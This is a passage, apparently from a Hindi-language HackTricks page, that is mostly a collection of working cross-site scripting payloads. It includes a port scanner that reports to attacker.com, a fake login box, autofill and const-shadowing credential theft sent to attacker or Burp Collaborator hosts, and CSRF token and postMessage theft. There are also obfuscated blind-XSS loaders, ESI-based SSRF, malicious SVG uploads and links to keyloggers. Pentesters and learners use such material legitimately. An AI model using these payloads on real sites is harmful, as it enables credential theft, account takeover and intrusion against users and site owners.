const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
कम समय का मतलब है कि port उत्तर दे रहा है ज्यादा समय का मतलब है कि कोई उत्तर नहीं है.
Chrome में प्रतिबंधित ports की सूची here और Firefox में here देखें।
क्रेडेंशियल्स माँगने के लिए बॉक्स
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
जब password field में कोई भी डेटा डाला जाता है, तो username और password attackers server को भेज दिए जाते हैं — यहाँ तक कि अगर client saved password चुनता है और कुछ भी नहीं लिखता है, तब भी credentials ex-filtrated हो जाएंगे।
Hijack form handlers to exfiltrate credentials (const shadowing)
यदि कोई critical handler (e.g., function DoLogin(){...}
) पेज में बाद में declared है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो उसी नाम का एक const
पहले define करें ताकि आप handler को preempt और lock कर सकें। बाद में की जाने वाली function declarations किसी const
नाम को rebind नहीं कर सकतीं, और आपका hook नियंत्रण में रह जाएगा:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
नोट्स
- यह execution order पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए।
- यदि आपका payload
eval(...)
में wrapped है, तोconst/let
bindings globals नहीं बनेंगी। असली global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में बताए गए dynamic<script>
injection technique का उपयोग करें। - जब keyword filters code को ब्लॉक करें, तो ऊपर दिखाए गए तरीके की तरह Unicode-escaped identifiers या
eval(atob('...'))
delivery के साथ combine करें।
Keylogger
github पर खोजने पर मुझे कुछ अलग मिले:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- आप metasploit
http_javascript_keylogger
का भी उपयोग कर सकते हैं
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage संदेशों को चुराना
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers का दुरुपयोग
Shadow DOM तक पहुँच
Polyglots
Blind XSS payloads
आप यह भी उपयोग कर सकते हैं: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - छिपी हुई सामग्री तक पहुंच
From this writeup यह जाना जा सकता है कि भले ही कुछ मान JS से गायब हो जाएँ, फिर भी उन्हें विभिन्न objects में JS attributes में पाया जा सकता है। उदाहरण के लिए, REGEX का एक input तब भी मिल सकता है जब regex के input का value हटा दिया गया हो:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Abusing other vulnerabilities
XSS in Markdown
क्या आप Markdown कोड इंजेक्ट कर सकते हैं जो render होगा? शायद आप XSS पा सकते हैं! चेक करें:
XSS to SSRF
क्या आपके पास XSS है site that uses caching पर? Edge Side Include Injection के माध्यम से इसे upgrading that to SSRF करने की कोशिश करें, इस payload के साथ:
<esi:include src="http://yoursite.com/capture" />
इसे cookie restrictions, XSS filters और बहुत कुछ बायपास करने के लिए उपयोग करें!
इस तकनीक के बारे में अधिक जानकारी यहाँ: XSLT.
डायनामिक रूप से बनाई गई PDF में XSS
यदि कोई वेब पेज user controlled input का उपयोग करके PDF बना रहा है, तो आप उस PDF को बना रहे bot को trick करके उसे executing arbitrary JS code करने के लिए प्रेरित करने की कोशिश कर सकते हैं।
तो, यदि PDF creator bot किसी तरह के HTML tags को पाता है, तो वह उन्हें interpret करेगा, और आप इस व्यवहार का abuse करके Server XSS पैदा कर सकते हैं।
यदि आप HTML tags inject नहीं कर पा रहे हैं तो inject PDF data करने की कोशिश करना उपयोगी हो सकता है:
Amp4Email में XSS
AMP, जिसका उद्देश्य mobile devices पर वेब पेज की performance को तेज करना है, HTML tags के साथ JavaScript का उपयोग करता है ताकि functionality बनी रहे और emphasis speed और security पर हो। यह विभिन्न features के लिए कई components को सपोर्ट करता है, जिन्हें AMP components के माध्यम से एक्सेस किया जा सकता है।
AMP for Email फॉर्मेट कुछ विशेष AMP components को ईमेल में बढ़ाता है, जिससे recipients सीधे अपने ईमेल के भीतर content के साथ interact कर सकते हैं।
उदाहरण writeup XSS in Amp4Email in Gmail.
XSS फ़ाइल अपलोड (svg)
ऐसी ही एक फाइल (image के रूप में) अपलोड करें (स्रोत: http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
अधिक SVG payloads के लिए देखें https://github.com/allanlw/svg-cheatsheet
विविध JS ट्रिक्स और संबंधित जानकारी
Misc JS Tricks & Relevant Info
XSS संसाधन
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।